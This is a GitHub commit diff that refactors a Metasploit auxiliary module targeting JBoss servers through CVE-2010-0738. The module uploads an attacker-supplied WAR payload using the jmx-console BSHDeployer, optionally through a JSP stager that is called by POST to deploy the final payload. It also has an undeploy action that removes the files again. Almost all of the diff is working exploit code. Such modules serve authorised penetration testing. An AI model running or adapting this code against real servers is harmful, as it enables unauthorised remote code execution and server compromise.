Skip to content

Commit 0737d0d

Browse files
committed
Refactor auxiliary module
1 parent 0031913 commit 0737d0d

File tree

1 file changed

+90
-64
lines changed

1 file changed

+90
-64
lines changed

modules/auxiliary/admin/http/jboss_bshdeployer.rb

Lines changed: 90 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -11,99 +11,125 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
def initialize
1313
super(
14-
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
15-
'Description' => %q{
16-
This module can be used to install a WAR file payload on JBoss servers that have
14+
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
15+
'Description' => %q{
16+
This module can be used to install a WAR file payload on JBoss servers that have
1717
an exposed "jmx-console" application. The payload is put on the server by
1818
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
1919
},
20-
'Author' =>
20+
'Author' =>
2121
[
2222
'us3r777 <us3r777[at]n0b0.so>'
2323
],
24-
'License' => BSD_LICENSE,
25-
'References' =>
24+
'References' =>
2625
[
2726
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
2827
[ 'OSVDB', '64171' ],
2928
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
30-
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
31-
]
29+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]
30+
],
31+
'Actions' =>
32+
[
33+
['Deploy'],
34+
['Undeploy']
35+
],
36+
'DefaultAction' => 'Deploy',
37+
'License' => BSD_LICENSE,
3238
)
3339

3440
register_options(
3541
[
3642
Opt::RPORT(8080),
37-
OptString.new('APPBASE', [ true, 'Application base name']),
38-
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST (default: "stager")', 'stager']),
39-
OptString.new('WARFILE', [ true, 'The WAR file to deploy']),
40-
OptBool.new('DEPLOY', [ true, 'Deploy: true. Undeploy: false', true]),
43+
OptString.new('APPBASE', [ true, 'Application base name', 'payload']),
44+
OptString.new('STAGERNAME', [ false, 'Only used if VERB is not POST', 'stager']),
45+
OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])
4146
], self.class)
4247
end
4348

44-
def run
45-
app_base = datastore['APPBASE']
46-
stager_base = datastore['STAGERNAME'] || 'stager'
47-
stager_jsp_name = datastore['STAGERNAME'] || 'stager'
49+
def deploy_action(app_base, stager_name, war_data)
50+
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
4851

49-
uri = '/' + app_base + '/'
50-
if datastore['DEPLOY']
51-
# Read the WAR from the given file
52-
war_data = File.read(datastore['WARFILE'])
53-
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
54-
if http_verb == 'POST' then
55-
print_status("Deploying payload...")
56-
opts = {
57-
:file => "#{app_base}.war",
58-
:contents => encoded_payload
59-
}
52+
if http_verb == 'POST'
53+
print_status("#{peer} - Deploying payload...")
54+
opts = {
55+
:file => "#{app_base}.war",
56+
:contents => encoded_payload
57+
}
58+
else
59+
print_status("#{peer} - Deploying stager...")
60+
stager_contents = stager_jsp(app_base)
61+
opts = {
62+
:dir => "#{stager_name}.war",
63+
:file => "#{stager_name}.war/#{stager_name}.jsp",
64+
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
65+
}
66+
end
67+
68+
bsh_payload = generate_bsh(:create, opts)
69+
package = deploy_bsh(bsh_payload)
70+
71+
if package.nil?
72+
print_error("#{peer} - Deployment failed")
73+
return
74+
else
75+
print_good("#{peer} - Deployment successful")
76+
end
77+
78+
unless http_verb == 'POST'
79+
# call the stager to deploy our real payload war
80+
stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'
81+
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
82+
print_status("#{peer} - Calling stager #{stager_uri } to deploy final payload...")
83+
res = deploy('method' => 'POST',
84+
'data' => payload_data,
85+
'uri' => stager_uri)
86+
if res && res.code == 200
87+
print_good("#{peer} - Payload deployed")
6088
else
61-
print_status("Deploying stager...")
62-
stager_base = rand_text_alpha(8+rand(8))
63-
stager_jsp_name = rand_text_alpha(8+rand(8))
64-
stager_contents = stager_jsp(app_base)
65-
opts = {
66-
:dir => "#{stager_base}.war",
67-
:file => "#{stager_base}.war/#{stager_jsp_name}.jsp",
68-
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
69-
}
89+
print_error("#{peer} - Failed to deploy final payload")
7090
end
71-
bsh_payload = generate_bsh(:create, opts)
72-
package = deploy_bsh(bsh_payload)
91+
end
7392

74-
if package.nil?
75-
fail_with(Failure::Unknown, "Failed to deploy")
76-
end
93+
end
7794

78-
unless http_verb == 'POST'
79-
# now we call the stager to deploy our real payload war
80-
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
81-
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
82-
print_status("Calling stager #{stager_uri } to deploy final payload")
83-
res = deploy('method' => 'POST',
84-
'data' => payload_data,
85-
'uri' => stager_uri)
86-
unless res && res.code == 200
87-
fail_with(Failure::Unknown, "Failed to deploy")
88-
end
95+
def undeploy_action(app_base, stager_name)
96+
# Undeploy the WAR and the stager if needed
97+
print_status("#{peer} - Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")
98+
99+
files = {}
100+
unless stager_name.nil?
101+
files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"
102+
files[:stager_base] = "#{stager_name}.war"
89103
end
104+
files[:app_base] = "#{app_base}.war"
105+
delete_script = generate_bsh(:delete, files)
90106

107+
package = deploy_bsh(delete_script)
108+
if package.nil?
109+
print_error("#{peer} - Unable to remove WAR")
91110
else
92-
# Undeploy the WAR and the stager if needed
93-
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
111+
print_good("#{peer} - Successfully removed")
112+
end
113+
end
94114

95-
files = {}
96-
unless http_verb == 'POST'
97-
files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
98-
files[:stager_base] = "#{stager_base}.war"
99-
end
100-
files[:app_base] = "#{app_base}.war"
101-
delete_script = generate_bsh(:delete, files)
115+
def run
116+
app_base = datastore['APPBASE']
117+
if http_verb == 'POST'
118+
stager_name = nil
119+
else
120+
stager_name = datastore['STAGERNAME']
121+
stager_name = "stager" if stager_name.blank?
122+
end
102123

103-
package = deploy_bsh(delete_script)
104-
if package.nil?
105-
print_warning("WARNING: Unable to remove WAR")
124+
case action.name
125+
when 'Deploy'
126+
unless File.exist?(datastore['WARFILE'])
127+
print_error("WAR file not found")
106128
end
129+
war_data = File.read(datastore['WARFILE'])
130+
deploy_action(app_base, stager_name, war_data)
131+
when 'Undeploy'
132+
undeploy_action(app_base, stager_name)
107133
end
108134
end
109135
end

0 commit comments

Comments
 (0)